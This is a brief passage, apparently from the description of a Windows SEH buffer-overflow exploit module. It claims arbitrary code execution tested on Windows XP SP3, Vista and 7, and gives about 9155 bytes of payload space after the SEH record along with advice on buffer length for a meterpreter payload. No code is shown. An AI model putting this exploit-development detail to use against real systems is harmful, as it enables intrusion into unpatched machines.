				buffer and execute arbitrary code. This exploit has been tested on systems such as
				Windows XP SP3, Windows Vista, and Windows 7.

After SEH, we have ~0x23C3 bytes (9155 in decimal) of space for payload. But we need to avoid
using a long buffer in order to avoid the meterpreter possibly being broken.
